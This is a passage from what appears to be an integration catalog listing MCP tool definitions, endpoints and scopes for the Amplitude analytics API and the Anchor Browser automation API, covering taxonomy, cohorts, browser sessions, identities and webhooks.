returning actions. GET /api/v1/amplitude/api/2/retention. Scopes: api. amplitude_get_api_2_revenue_ltv (read) — Get the lifetime value of new users. GET /api/v1/amplitude/api/2/revenue/ltv. Scopes: api. amplitude_get_api_2_sessions_average (read) — Get the average session length (in seconds) for each day in the specified date range. GET /api/v1/amplitude/api/2/sessions/average. Scopes: api. amplitude_get_api_2_sessions_length (read) — Get the number of sessions for each predefined length (bucket) period during a specified date range. GET /api/v1/amplitude/api/2/sessions/length. Scopes: api. amplitude_get_api_2_sessions_peruser (read) — Get the average number of sessions per user on each day in the specified date range. GET /api/v1/amplitude/api/2/sessions/peruser. Scopes: api. amplitude_get_api_2_taxonomy_category (read) — Get all event categories in your project. GET /api/v1/amplitude/api/2/taxonomy/category. Scopes: api. amplitude_get_api_2_taxonomy_category_by_category_name (read) — Get the ID of an event category in your project by sending a GET request with the category name. GET /api/v1/amplitude/api/2/taxonomy/category/{category_name}. Scopes: api. amplitude_get_api_2_taxonomy_event (read) — Retrieves all event types in a project. This request has no required parameters. GET /api/v1/amplitude/api/2/taxonomy/event. Scopes: api. amplitude_get_api_2_taxonomy_event_by_event_type (read) — Get a single event type by name. Send a GET request with the event name. GET /api/v1/amplitude/api/2/taxonomy/event/{event_type}. Scopes: api. amplitude_get_api_2_taxonomy_event_property (read) — Get shared or event-specific event properties. GET /api/v1/amplitude/api/2/taxonomy/event-property. Scopes: api. amplitude_get_api_2_taxonomy_group_property (read) — Get shared or group-specific group properties. GET /api/v1/amplitude/api/2/taxonomy/group-property. Scopes: api. amplitude_get_api_2_taxonomy_group_property_by_group_property (read) — Get a single group property by sending a GET request with the group property name as a path parameter. GET /api/v1/amplitude/api/2/taxonomy/group-property/{group_property}. Scopes: api. amplitude_get_api_2_taxonomy_user_property (read) — Retrieves all user properties in your account. The request has no required parameters. GET /api/v1/amplitude/api/2/taxonomy/user-property. Scopes: api. amplitude_get_api_2_taxonomy_user_property_by_user_property (read) — Retrieves a single user property by name. GET /api/v1/amplitude/api/2/taxonomy/user-property/{user_property}. Scopes: api. amplitude_get_api_2_useractivity (read) — Get a user summary and the user most or least recent events. Rate limited to 10 concurrent requests and 360 queries per hour, separately from the other Dashboard REST endpoints. GET /api/v1/amplitude/api/2/useractivity. Scopes: api. amplitude_get_api_2_users (read) — Get the number of active or new users. GET /api/v1/amplitude/api/2/users. Scopes: api. amplitude_get_api_2_usersearch (read) — Search for a user by Amplitude ID, device ID, user ID, or user ID prefix. Rate limited to 10 concurrent requests and 360 queries per hour, separately from the other Dashboard REST endpoints. GET /api/v1/amplitude/api/2/usersearch. Scopes: api. amplitude_get_api_3_chart_by_chart_id_csv (read) — Get JSON results from any saved chart by chart ID. The chart is addressed by the id in its web-app URL. Amplitude documents the response only as: responses vary based on the chart type -- and the path ends in /csv while the same sentence calls the result JSON, so the content type is not something this integration asserts; whatever comes back is returned as JSON when Amplitude labels it JSON and as labelled text or base64 otherwise. GET /api/v1/amplitude/api/3/chart/{chart_id}/csv. Scopes: api. amplitude_get_api_3_cohorts (read) — Get all discoverable cohorts for an app. GET /api/v1/amplitude/api/3/cohorts. Scopes: api. amplitude_get_api_3_cohorts_usage (read) — Check your current monthly usage and limit for the Behavioral Cohorts Download API. Reports how much of the 500-per-month Cohort Download allowance this project has used. Usage resets on the first of each month UTC. GET /api/v1/amplitude/api/3/cohorts/usage. Scopes: api. amplitude_get_api_5_cohorts_request_by_id (read) — Get a discoverable cohort using its cohort_id. This is step one of the cohort download operation. Behavioral Cohorts Download, a Growth and Enterprise plan feature capped at 500 requests per month. This starts an async job and answers 202 with a request_id; poll the request-status tool, then fetch the file tool. GET /api/v1/amplitude/api/5/cohorts/request/{id}. Scopes: api. amplitude_get_api_5_cohorts_request_by_requestid_file (read) — After the job finishes running, download the cohort. Downloads the finished async cohort export. Large cohorts answer a 302 redirect to a pre-signed URL valid for one minute; the response is a file, not JSON. GET /api/v1/amplitude/api/5/cohorts/request/{requestId}/file. Scopes: api. amplitude_get_api_5_cohorts_request_status_by_request_id (read) — Poll the request status using the request_id retrieved for the cohort. This is step two of the cohort download operation. Polls the async cohort download started by the cohort request tool. 202 means JOB INPROGRESS; 200 means JOB COMPLETED. GET /api/v1/amplitude/api/5/cohorts/request-status/{request_id}. Scopes: api. amplitude_post_api_2_taxonomy_category (write) — Create an event category in your project. POST /api/v1/amplitude/api/2/taxonomy/category. Scopes: api. amplitude_post_api_2_taxonomy_event (write) — Create an event type by sending a POST request to the taxonomy event endpoint with parameters in the body. POST /api/v1/amplitude/api/2/taxonomy/event. Scopes: api. amplitude_post_api_2_taxonomy_event_by_event_type_restore (write) — Restore an event type by sending a POST request with the event type name as a path parameter. POST /api/v1/amplitude/api/2/taxonomy/event/{event_type}/restore. Scopes: api. amplitude_post_api_2_taxonomy_event_property (write) — Create an event property by sending a POST request with the required information in the body. The classifications field is only accepted when Data Access Controls is enabled at the account level. POST /api/v1/amplitude/api/2/taxonomy/event-property. Scopes: api. amplitude_post_api_2_taxonomy_event_property_by_event_property_restore (write) — Restore an event property by sending a POST request with the event property as a path parameter. Answers 201, not 200. POST /api/v1/amplitude/api/2/taxonomy/event-property/{event_property}/restore. Scopes: api. amplitude_post_api_2_taxonomy_group_property (write) — Create a group property by sending a POST request with the required information in the body. The classifications field is only accepted when Data Access Controls is enabled at the account level. POST /api/v1/amplitude/api/2/taxonomy/group-property. Scopes: api. amplitude_post_api_2_taxonomy_user_property (write) — Create a user property by sending a POST request with the user property name in the body. The classifications field is only accepted when Data Access Controls is enabled at the account level. POST /api/v1/amplitude/api/2/taxonomy/user-property. Scopes: api. amplitude_post_api_2_taxonomy_user_property_by_user_property_restore (write) — Restore a single user property by name. POST /api/v1/amplitude/api/2/taxonomy/user-property/{user_property}/restore. Scopes: api. amplitude_post_api_3_cohorts_membership (write) — Add and remove IDs to update existing cohort membership incrementally. A single request is limited to 100,000 identifiers. POST /api/v1/amplitude/api/3/cohorts/membership. Scopes: api. amplitude_post_api_3_cohorts_upload (write) — Generate a new cohort or update an existing cohort by uploading a set of User IDs or Amplitude IDs. A single request is limited to 100,000 identifiers and a cohort to 2 million users. POST /api/v1/amplitude/api/3/cohorts/upload. Scopes: api. amplitude_put_api_2_taxonomy_category_by_category_id (write) — Update the name of an event category by sending a PUT request with the category ID and a new name in the body. PUT /api/v1/amplitude/api/2/taxonomy/category/{category_id}. Scopes: api. amplitude_put_api_2_taxonomy_event_by_event_type (write) — Update an event type by sending a PUT request with the event type name. PUT /api/v1/amplitude/api/2/taxonomy/event/{event_type}. Scopes: api. amplitude_put_api_2_taxonomy_event_property_by_event_property (write) — Update an event property by sending a PUT request with the event property name as a path parameter. The classifications field is only accepted when Data Access Controls is enabled at the account level. PUT /api/v1/amplitude/api/2/taxonomy/event-property/{event_property}. Scopes: api. amplitude_put_api_2_taxonomy_group_property_by_group_property (write) — Update a group property by sending a PUT request with the group property name as a path parameter. The classifications field is only accepted when Data Access Controls is enabled at the account level. PUT /api/v1/amplitude/api/2/taxonomy/group-property/{group_property}. Scopes: api. amplitude_put_api_2_taxonomy_user_property_by_user_property (write) — Update a user property by sending a PUT request with the user property name as a path parameter. The classifications field is only accepted when Data Access Controls is enabled at the account level. PUT /api/v1/amplitude/api/2/taxonomy/user-property/{user_property}. Scopes: api. ================================================================================ ## Anchor Browser URL: https://www.agenticfabriq.com/integrations/anchorbrowser Section: Integrated Tools Anchor Browser — 115 MCP tools Provider key: anchorbrowser. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. anchorbrowser_delete_v1_applications_by_applicationid (write, destructive) — Delete Application -- Deletes an existing application. via DELETE /v1/applications/{applicationId} DELETE /api/v1/anchorbrowser/v1/applications/{applicationId}. Scopes: api. anchorbrowser_delete_v1_applications_by_applicationid_auth_flows_by_authflowid (write, destructive) — Delete Authentication Flow -- Deletes an existing authentication flow. via DELETE /v1/applications/{applicationId}/auth-flows/{authFlowId} DELETE /api/v1/anchorbrowser/v1/applications/{applicationId}/auth-flows/{authFlowId}. Scopes: api. anchorbrowser_delete_v1_batch_sessions_by_batch_id (write, destructive) — Delete Batch Sessions -- Deletes all sessions in a batch. Running sessions will be terminated and all session data will be removed. via DELETE /v1/batch-sessions/{batch_id} DELETE /api/v1/anchorbrowser/v1/batch-sessions/{batch_id}. Scopes: api. anchorbrowser_delete_v1_certificates_by_name (write, destructive) — Delete Certificate -- Delete a CA certificate by name. The certificate will be removed from storage and can no longer be used in new sessions. via DELETE /v1/certificates/{name} DELETE /api/v1/anchorbrowser/v1/certificates/{name}. Scopes: api. anchorbrowser_delete_v1_extensions_by_id (write, destructive) — Delete Extension -- Delete an extension and remove it from storage via DELETE /v1/extensions/{id} DELETE /api/v1/anchorbrowser/v1/extensions/{id}. Scopes: api. anchorbrowser_delete_v1_identities_by_identityid (write, destructive) — Delete Identity -- Deletes an existing identity. via DELETE /v1/identities/{identityId} DELETE /api/v1/anchorbrowser/v1/identities/{identityId}. Scopes: api. anchorbrowser_delete_v1_integrations_by_integrationid (write, destructive) — Delete Integration -- Deletes an existing integration and removes its stored credentials. via DELETE /v1/integrations/{integrationId} DELETE /api/v1/anchorbrowser/v1/integrations/{integrationId}. Scopes: api. anchorbrowser_delete_v1_profiles_by_name (write, destructive) — Delete Profile -- Deletes an existing profile by its name. via DELETE /v1/profiles/{name} DELETE /api/v1/anchorbrowser/v1/profiles/{name}. Scopes: api. anchorbrowser_delete_v1_sessions_all (write, destructive) — End All Sessions -- Terminates all active browser sessions associated with the provided API key. via DELETE /v1/sessions/all DELETE /api/v1/anchorbrowser/v1/sessions/all. Scopes: api. anchorbrowser_delete_v1_sessions_by_session_id (write, destructive) — End Browser Session -- Deletes the browser session associated with the provided browser session ID. Requires a valid API key for authentication. via DELETE /v1/sessions/{session_id} DELETE /api/v1/anchorbrowser/v1/sessions/{session_id}. Scopes: api. anchorbrowser_delete_v1_sessions_by_session_id_recordings_by_recording_id (write, destructive) — Delete Session Recording -- Deletes a specific recording from a browser session. Use "primary" as the recording_id to delete the primary recording. via DELETE /v1/sessions/{session_id}/recordings/{recording_id} DELETE /api/v1/anchorbrowser/v1/sessions/{session_id}/recordings/{recording_id}. Scopes: api. anchorbrowser_delete_v1_sessions_by_session_id_tags (write, destructive) — Delete Session Tags -- Clears all tags from a browser session. via DELETE /v1/sessions/{session_id}/tags DELETE /api/v1/anchorbrowser/v1/sessions/{session_id}/tags. Scopes: api. anchorbrowser_delete_v1_task_by_taskid (write, destructive) — Delete Task (Legacy) -- Soft deletes a task and all its versions. The task will no longer be accessible but the data is preserved for potential recovery. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via DELETE /v1/task/{taskId} DELETE /api/v1/anchorbrowser/v1/task/{taskId}. Scopes: api. anchorbrowser_delete_v1_task_by_taskid_by_taskversion (write, destructive) — Delete Task Version (Legacy) -- Soft deletes a specific version of a task. The version will no longer be accessible but the data is preserved for potential recovery. If you are using the new Task Builder, see the Tasks V2 endpoints in this API reference. via DELETE /v1/task/{taskId}/{taskVersion} DELETE /api/v1/anchorbrowser/v1/task/{taskId}/{taskVersion}. Scopes: api. anchorbrowser_delete_v1_webhooks_by_id (write, destructive) — Delete Webhook -- Soft-delete a webhook. New events stop fanning out immediately. The events history (`/v1/webhooks/{id}/events`) is still queryable for the retention window even after delete. via DELETE /v1/webhooks/{id} DELETE /api/v1/anchorbrowser/v1/webhooks/{id}. Scopes: api. anchorbrowser_get_v1_agent_access (read) — Agent Access guide -- Unauthenticated onboarding guide. This GET does **not** issue an API key. Follow the `next` field: GET `/v1/agent-access/challenge`, solve, then POST `/v1/agent-access` with `{ token, answer }`. Optional `identity_token` (OIDC JWT) grants more credits. Docs: https://docs.anchorbrowser.io/quickstart/agent-access via GET /v1/agent-access GET /api/v1/anchorbrowser/v1/agent-access. Scopes: api. anchorbrowser_get_v1_agent_access_appendix_by_appendixref (read) — Agent Access challenge data -- Supporting data for an active Agent Access challenge. Path comes from the challenge response. via GET /v1/agent-access/appendix/{appendixRef} GET /api/v1/anchorbrowser/v1/agent-access/appendix/{appendixRef}. Scopes: api. anchorbrowser_get_v1_agent_access_challenge (read) — Get Agent Access challenge -- Get a puzzle and token. Follow next and challenge.prompt, then POST /v1/agent-access with token and answer. via GET /v1/agent-access/challenge GET /api/v1/anchorbrowser/v1/agent-access/challenge. Scopes: api. anchorbrowser_get_v1_applications (read) — List Applications -- Retrieves all applications for the authenticated team. via GET /v1/applications GET /api/v1/anchorbrowser/v1/applications. Scopes: api. anchorbrowser_get_v1_applications_by_applicationid (read) — Get Application -- Retrieves details of a specific application by its ID. via GET /v1/applications/{applicationId} GET /api/v1/anchorbrowser/v1/applications/{applicationId}. Scopes: api. anchorbrowser_get_v1_applications_by_applicationid_auth_flows (read) — List Application Authentication Flows -- Retrieves all authentication flows for a specific application. via GET /v1/applications/{applicationId}/auth-flows GET /api/v1/anchorbrowser/v1/applications/{applicationId}/auth-flows. Scopes: api. anchorbrowser_get_v1_applications_by_applicationid_identities (read) — List Application Identities -- Retrieves all identities associated with a specific application. via GET /v1/applications/{applicationId}/identities GET /api/v1/anchorbrowser/v1/applications/{applicationId}/identities. Scopes: api. anchorbrowser_get_v1_batch_sessions (read) — List Batch Sessions -- Lists all batch session requests for the authenticated team, with optional filtering by status and pagination support. via GET /v1/batch-sessions GET /api/v1/anchorbrowser/v1/batch-sessions. Scopes: api. anchorbrowser_get_v1_batch_sessions_by_batch_id (read) — Get Batch Session Status -- Retrieves detailed status information for a specific batch, including progress, individual session details, and any errors that occurred. via GET /v1/batch-sessions/{batch_id} GET /api/v1/anchorbrowser/v1/batch-sessions/{batch_id}. Scopes: api. anchorbrowser_get_v1_billing (read) — Get Billing Info -- Retrieves credit balance, current-period credit usage, tier, and billing limits for the authenticated project. via GET /v1/billing GET /api/v1/anchorbrowser/v1/billing. Scopes: api. anchorbrowser_get_v1_certificates (read) — List Certificates -- Get all CA certificates uploaded for the team via GET /v1/certificates GET /api/v1/anchorbrowser/v1/certificates. Scopes: api. anchorbrowser_get_v1_extensions (read) — List Extensions -- Get all extensions for the authenticated user via GET /v1/extensions GET /api/v1/anchorbrowser/v1/extensions. Scopes: api. anchorbrowser_get_v1_extensions_by_id (read) — Get Extension Details -- Get details of a specific extension by its ID via GET /v1/extensions/{id} GET /api/v1/anchorbrowser/v1/extensions/{id}. Scopes: api. anchorbrowser_get_v1_identities_by_identityid (read) — Get Identity -- Retrieves details of a specific identity by its ID. via GET /v1/identities/{identityId} GET /api/v1/anchorbrowser/v1/identities/{identityId}. Scopes: api. anchorbrowser_get_v1_identities_dynamic_state_by_session_id (read) — Get Dynamic Auth Flow State -- Read-only snapshot of an in-progress dynamic auth flow. Does not acquire the flow lock or mutate state. Poll this endpoint when: - start/resolve returned `type: detection_failed` with `retryable: true` (the next login step is still being determined and may take longer than the request timeout) - start/resolve timed out or returned 409 while a transition is in flight - you need the current presentation without submitting an answer `view` is that presentation — the same object start/resolve return. Treat it as the live step when `phase` is `settled`. While `phase` is `navigating`, `view` may already describe the next step; `target` is only a progress label for the in-flight transition. Keep polling until `view.type` is `decision`, `form`, `authenticated`, a non-retryable `detection_failed`, or a non-retryable `failed`. Then call `/resolve` only for `decision`/`form`, `/finalize` for `authenticated`, or open `live_view_url` for `detection_failed`. via GET /v1/identities/dynamic/state/{session_id} GET /api/v1/anchorbrowser/v1/identities/dynamic/state/{session_id}. Scopes: api. anchorbrowser_get_v1_integrations (read) — List Integrations -- Retrieves all integrations for the authenticated team. via GET /v1/integrations GET /api/v1/anchorbrowser/v1/integrations. Scopes: api. anchorbrowser_get_v1_profiles (read) — List Profiles -- Fetches all stored profiles. via GET /v1/profiles GET /api/v1/anchorbrowser/v1/profiles. Scopes: api. anchorbrowser_get_v1_profiles_by_name (read) — Get Profile -- Retrieves details of a specific profile by its name. via GET /v1/profiles/{name} GET /api/v1/anchorbrowser/v1/profiles/{name}. Scopes: api. anchorbrowser_get_v1_sessions (read) — List Sessions History Page -- Retrieves a paginated list of sessions for the authenticated team with support for sorting and advanced filtering. This endpoint mirrors the backend session history-page filtering behavior. via GET /v1/sessions GET /api/v1/anchorbrowser/v1/sessions. Scopes: api. anchorbrowser_get_v1_sessions_all_status (read) — List All Sessions Status -- Retrieves status information for all browser sessions associated with the API key. via GET /v1/sessions/all/status GET /api/v1/anchorbrowser/v1/sessions/all/status. Scopes: api. anchorbrowser_get_v1_sessions_async_by_request_id_status (read) — Async Session Status -- Polling endpoint paired with `POST /v1/sessions/async`. Returns the current lifecycle `status` of the async request and, once the pod is up, the embedded `session` object containing `session_id`, `cdp_url` and `live_view_url`. via GET /v1/sessions/async/{request_id}/status GET /api/v1/anchorbrowser/v1/sessions/async/{request_id}/status. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id (read) — Get Browser Session -- Retrieves detailed information about a specific browser session. via GET /v1/sessions/{session_id} GET /api/v1/anchorbrowser/v1/sessions/{session_id}. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id_agent_requested_human_intervention (read) — Get Requested Human Interventions -- Retrieves pending human-in-the-loop (HITL) requests for a specific active browser session. Requires `human_intervention: true` on the task that is running in the session. The agent pauses until a response is submitted via `POST /v1/sessions/{session_id}/agent/respond-to-human-intervention`. via GET /v1/sessions/{session_id}/agent/requested-human-intervention GET /api/v1/anchorbrowser/v1/sessions/{session_id}/agent/requested-human-intervention. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id_downloads (read) — List Session Downloads -- Retrieves metadata of files downloaded during a browser session. Requires a valid API key for authentication. via GET /v1/sessions/{session_id}/downloads GET /api/v1/anchorbrowser/v1/sessions/{session_id}/downloads. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id_pages (read) — Get Browser Session Pages -- Retrieves a list of pages associated with a specific browser session. via GET /v1/sessions/{session_id}/pages GET /api/v1/anchorbrowser/v1/sessions/{session_id}/pages. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id_recordings (read) — List Session Recordings -- Retrieves the URLs of the browser session's video recordings. Requires a valid API key for authentication. via GET /v1/sessions/{session_id}/recordings GET /api/v1/anchorbrowser/v1/sessions/{session_id}/recordings. Scopes: api. anchorbrowser_get_v1_sessions_by_session_id_tags (read) — Get Session Tags -- Retrieves the tags associated with a specific browser session. via GET /v1/sessions/{session_id}/tags GET /api/v1/anchorbrowser/v1/sessions/{session_id}/tags. Scopes: api. anchorbrowser_get_v1_sessions_by_sessionid_agent_files (read) — List Agent Resources -- List all resources that have been uploaded to the browser session for agent use. Returns resource metadata including name, size, type, and last modified timestamp. via GET /v1/sessions/{sessionId}/agent/files GET /api/v1/anchorbrowser/v1/sessions/{sessionId}/agent/files. Scopes: api. anchorbrowser_get_v1_sessions_by_sessionid_clipboard (read) — Get Clipboard Content -- Retrieves the current content of the clipboard via GET /v1/sessions/{sessionId}/clipboard GET /api/v1/anchorbrowser/v1/sessions/{sessionId}/clipboard. Scopes: api. anchorbrowser_get_v1_sessions_history (read) — Get Sessions History -- Retrieves session usage analytics for the authenticated team. via GET /v1/sessions/history GET /api/v1/anchorbrowser/v1/sessions/history. Scopes: api. anchorbrowser_get_v1_sessions_pending_interventions (read) — List Pending Human Interventions -- Returns all pending human-in-the-loop (HITL) requests across the team's active browser sessions. Each item includes the intervention request plus the session ID and tags for routing responses. via GET /v1/sessions/pending-interventions GET /api/v1/anchorbrowser/v1/sessions/pending-interventions. Scopes: api. anchorbrowser_get_v1_task (read) — List Tasks (Legacy) -- Retrieves a paginated list of all tasks for the authenticated team. Tasks are returned with their latest version information and metadata. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via GET /v1/task GET /api/v1/anchorbrowser/v1/task. Scopes: api. anchorbrowser_get_v1_task_by_taskid (read) — Get Task Metadata (Legacy) -- Retrieves task metadata without the code content. Useful for getting task information without downloading the full task code. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via GET /v1/task/{taskId} GET /api/v1/anchorbrowser/v1/task/{taskId}. Scopes: api. anchorbrowser_get_v1_task_by_taskid_by_taskversion (read) — Get Task Version (Legacy) -- Retrieves a specific version of a task, including the full code content. If you are using the new Task Builder, see the Tasks V2 endpoints in this API reference. via GET /v1/task/{taskId}/{taskVersion} GET /api/v1/anchorbrowser/v1/task/{taskId}/{taskVersion}. Scopes: api. anchorbrowser_get_v1_task_by_taskid_draft (read) — Get Task Draft (Legacy) -- Retrieves the draft version of a task, including the full code content. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via GET /v1/task/{taskId}/draft GET /api/v1/anchorbrowser/v1/task/{taskId}/draft. Scopes: api. anchorbrowser_get_v1_task_by_taskid_executions (read) — List Task Executions (Legacy) -- Retrieves execution history for a task, including success/failure status, execution times, and outputs. Results can be filtered by version and status. If you are using the new Task Builder, see the Tasks V2 endpoints in this API reference. via GET /v1/task/{taskId}/executions GET /api/v1/anchorbrowser/v1/task/{taskId}/executions. Scopes: api. anchorbrowser_get_v1_task_by_taskid_executions_by_executionid (read) — Get Task Execution Result (Legacy) -- Retrieves a single execution result by its ID. This endpoint is useful for polling execution status in async mode or retrieving detailed execution information. If you are using the new Task Builder, see the Tasks V2 endpoints in this API reference. via GET /v1/task/{taskId}/executions/{executionId} GET /api/v1/anchorbrowser/v1/task/{taskId}/executions/{executionId}. Scopes: api. anchorbrowser_get_v1_task_by_taskid_latest (read) — Get Latest Task Version (Legacy) -- Retrieves the latest version of a task, including the full code content. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via GET /v1/task/{taskId}/latest GET /api/v1/anchorbrowser/v1/task/{taskId}/latest. Scopes: api. anchorbrowser_get_v1_task_by_taskid_versions (read) — List Task Versions (Legacy) -- Retrieves all versions of a specific task, including draft and published versions. If you are using the new Task Builder, see the non-deprecated Tasks endpoints in this API reference. via GET /v1/task/{taskId}/versions GET /api/v1/anchorbrowser/v1/task/{taskId}/versions. Scopes: api. anchorbrowser_get_v1_tools_perform_web_task_by_workflowid_status (read) — Get Perform Web Task Status -- Get the status of an asynchronous perform-web-task execution by workflow ID. via GET /v1/tools/perform-web-task/{workflowId}/status GET /api/v1/anchorbrowser/v1/tools/perform-web-task/{workflowId}/status. Scopes: api. anchorbrowser_get_v1_webhooks (read) — List Webhooks -- List every active webhook for the authenticated project. The signing secret is never included. via GET /v1/webhooks GET /api/v1/anchorbrowser/v1/webhooks. Scopes: api. anchorbrowser_get_v1_webhooks_by_id (read) — Get Webhook -- Fetch a single webhook config. The signing secret is never returned. via GET /v1/webhooks/{id} GET /api/v1/anchorbrowser/v1/webhooks/{id}. Scopes: api. anchorbrowser_get_v1_webhooks_by_id_events (read) — List Webhook Deliveries -- Paginated history of every delivery attempt for this webhook (succeeded, failed, or dead-lettered). Filter by status, event type, or time range. Retention: 7 days. via GET /v1/webhooks/{id}/events GET /api/v1/anchorbrowser/v1/webhooks/{id}/events. Scopes: api. anchorbrowser_get_v2_tasks_by_taskid_generation_status (read) — Get Task Generation Status -- Returns the generation status of a task created via `POST /v2/tasks/generate`. via GET /v2/tasks/{taskId}/generation-status GET /api/v1/anchorbrowser/v2/tasks/{taskId}/generation-status. Scopes: api. anchorbrowser_get_v2_tasks_runs_by_runid_status (read) — Get Task Run Status -- Retrieves the current status and result of a task run in the non-deprecated Tasks endpoints. via GET /v2/tasks/runs/{runId}/status GET /api/v1/anchorbrowser/v2/tasks/runs/{runId}/status. Scopes: api. anchorbrowser_patch_v1_applications_by_applicationid_auth_flows_by_authflowid (write) — Update Authentication Flow -- Updates an existing authentication flow. via PATCH /v1/applications/{applicationId}/auth-flows/{authFlowId} PATCH /api/v1/anchorbrowser/v1/applications/{applicationId}/auth-flows/{authFlowId}. Scopes: api. anchorbrowser_patch_v1_batch_sessions_by_batch_id (write) — Update Batch Session -- Updates a batch session. Supports cancelling a running or pending batch, which terminates all running sessions in the batch. via PATCH /v1/batch-sessions/{batch_id} PATCH /api/v1/anchorbrowser/v1/batch-sessions/{batch_id}. Scopes: api. anchorbrowser_patch_v1_webhooks_by_id (write) — Update Webhook -- Partial update — pass only the fields you want to change. Setting `enabled: false` immediately stops events from fanning out to this webhook (existing in-flight deliveries finish their attempts). via PATCH /v1/webhooks/{id} PATCH /api/v1/anchorbrowser/v1/webhooks/{id}. Scopes: api. anchorbrowser_post_v1_agent_access (write) — Create Agent Access project -- Issue an Agent Access API key. Submit the challenge `token` and computed integer `answer` from GET /v1/agent-access/challenge. GET on this path returns a guide, not a key. Optional `identity_token` as an OIDC JWT grants more credits. `identity_provider` is optional when the JWT `iss` is Google (`https://accounts.google.com`), GitHub Actions (`https://token.actions.githubusercontent.com`), or Vercel (`https://vercel.com`). Returns `api_key` for header `anchor-api-key`. Docs: https://docs.anchorbrowser.io/quickstart/agent-access via POST /v1/agent-access POST /api/v1/anchorbrowser/v1/agent-access. Scopes: api. anchorbrowser_post_v1_applications (write) — Create Application -- Creates a new application for identity management. via POST /v1/applications POST /api/v1/anchorbrowser/v1/applications. Scopes: api. anchorbrowser_post_v1_applications_by_applicationid_auth_flows (write) — Create Authentication Flow -- Creates a new authentication flow for an application. via POST /v1/applications/{applicationId}/auth-flows POST /api/v1/anchorbrowser/v1/applications/{applicationId}/auth-flows. Scopes: api. anchorbrowser_post_v1_applications_by_applicationid_tokens (write) — Create Identity Token -- Creates an identity token for a specific application. This token is used to initiate an authentication flow for linking user identities to the application. The callback URL must use HTTPS and is where the user will be redirected after authentication. via POST /v1/applications/{applicationId}/tokens POST /api/v1/anchorbrowser/v1/applications/{applicationId}/tokens. Scopes: api. anchorbrowser_post_v1_batch_sessions (write) — Create Batch Sessions -- Creates multiple browser sessions in a single batch operation. This endpoint allows you to create up to 5,000 browser sessions simultaneously with the same configuration. The batch will be processed asynchronously, and you can monitor progress using the batch status endpoint. via POST /v1/batch-sessions POST /api/v1/anchorbrowser/v1/batch-sessions. Scopes: api. anchorbrowser_post_v1_batch_sessions_by_batch_id_retry (write) — Retry Failed Batch Sessions -- Retries failed sessions in a batch by creating new browser pods for each failed session. The batch status will be set back to 'processing'. via POST /v1/batch-sessions/{batch_id}/retry POST /api/v1/anchorbrowser/v1/batch-sessions/{batch_id}/retry. Scopes: api. anchorbrowser_post_v1_events_by_event_name (write) — Signal Event -- Signals an event with associated data, unblocking any clients waiting for this event. This enables coordination between different browser sessions, workflows, or external processes. via POST /v1/events/{event_name} POST /api/v1/anchorbrowser/v1/events/{event_name}. Scopes: api. anchorbrowser_post_v1_events_by_event_name_wait (write) — Wait for Event -- Waits for a specific event to be signaled by another process, workflow, or session. This endpoint blocks until the event is signaled or the timeout is reached. Useful for coordinating between multiple browser sessions or workflows. via POST /v1/events/{event_name}/wait POST /api/v1/anchorbrowser/v1/events/{event_name}/wait. Scopes: api. anchorbrowser_post_v1_identities (write) — Create Identity -- Creates a new identity for the given source. Credentials are optional. via POST /v1/identities POST /api/v1/anchorbrowser/v1/identities. Scopes: api. anchorbrowser_post_v1_identities_by_identityid_reauthenticate (write) — Reauthenticate Identity -- Re-authenticates an identity on demand: validates the saved browser profile and runs login if it is no longer signed in, then persists the refreshed profile and tears the temporary session down. Equivalent to a session with `identity_skip_validation: false` that ends after auth. via POST /v1/identities/{identityId}/reauthenticate POST /api/v1/anchorbrowser/v1/identities/{identityId}/reauthenticate. Scopes: api. anchorbrowser_post_v1_identities_dynamic_finalize_by_session_id (write) — Finalize Dynamic Auth Flow -- Persists the identity, browser profile, and captured credentials after the flow reaches `authenticated`. The response reports whether the saved login can be replayed unattended (`automatable`). via POST /v1/identities/dynamic/finalize/{session_id} POST /api/v1/anchorbrowser/v1/identities/dynamic/finalize/{session_id}. Scopes: api. anchorbrowser_post_v1_identities_dynamic_resolve_by_session_id (write) — Resolve Dynamic Auth Flow Step -- Advances the flow by answering the current step. The body depends on the last presentation's `type` — do not mix the two shapes: - **`decision`**: send only `choice` (a `step_id` from `options`). Do not send `option_index` or `values`. - **`form`**: send `option_index` (index into `options`) and `values` (field name → string). Do not send `choice`. Do not call `/resolve` for `detection_failed`, `authenticated`, or `failed`. For retryable `detection_failed`, a timeout, or a 409 (another transition still in flight), poll `GET .../state/{session_id}` until a `decision`/`form`/`authenticated` view appears, then continue. If `detection_failed` is not retryable, open `live_view_url` to finish signing in. via POST /v1/identities/dynamic/resolve/{session_id} POST /api/v1/anchorbrowser/v1/identities/dynamic/resolve/{session_id}. Scopes: api. anchorbrowser_post_v1_identities_dynamic_start_by_session_id (write) — Start Dynamic Auth Flow -- Starts (or restarts) a dynamic auth flow in an existing browser session. `session_id` is required in the path. Advances until the next presentation (`decision`, `form`, `detection_failed`, `authenticated`, or `failed`). If the response is `detection_failed` with `retryable: true`, or the request times out, keep polling `GET /v1/identities/dynamic/state/{session_id}` — some login steps take longer than a single start/resolve call. If `detection_failed` and `retryable` is false, open `live_view_url` to finish signing in. Do not treat a timeout as a hard stop until `view.type` is `failed` or `detection_failed` and `retryable` is false. via POST /v1/identities/dynamic/start/{session_id} POST /api/v1/anchorbrowser/v1/identities/dynamic/start/{session_id}. Scopes: api. anchorbrowser_post_v1_integrations (write) — Create Integration -- Creates a new integration with a third-party service like 1Password. The integration can then be used in browser sessions to automatically load secrets and credentials. via POST /v1/integrations POST /api/v1/anchorbrowser/v1/integrations. Scopes: api. anchorbrowser_post_v1_profiles (write) — Create Profile -- Creates a new profile from a browser session. A Profile 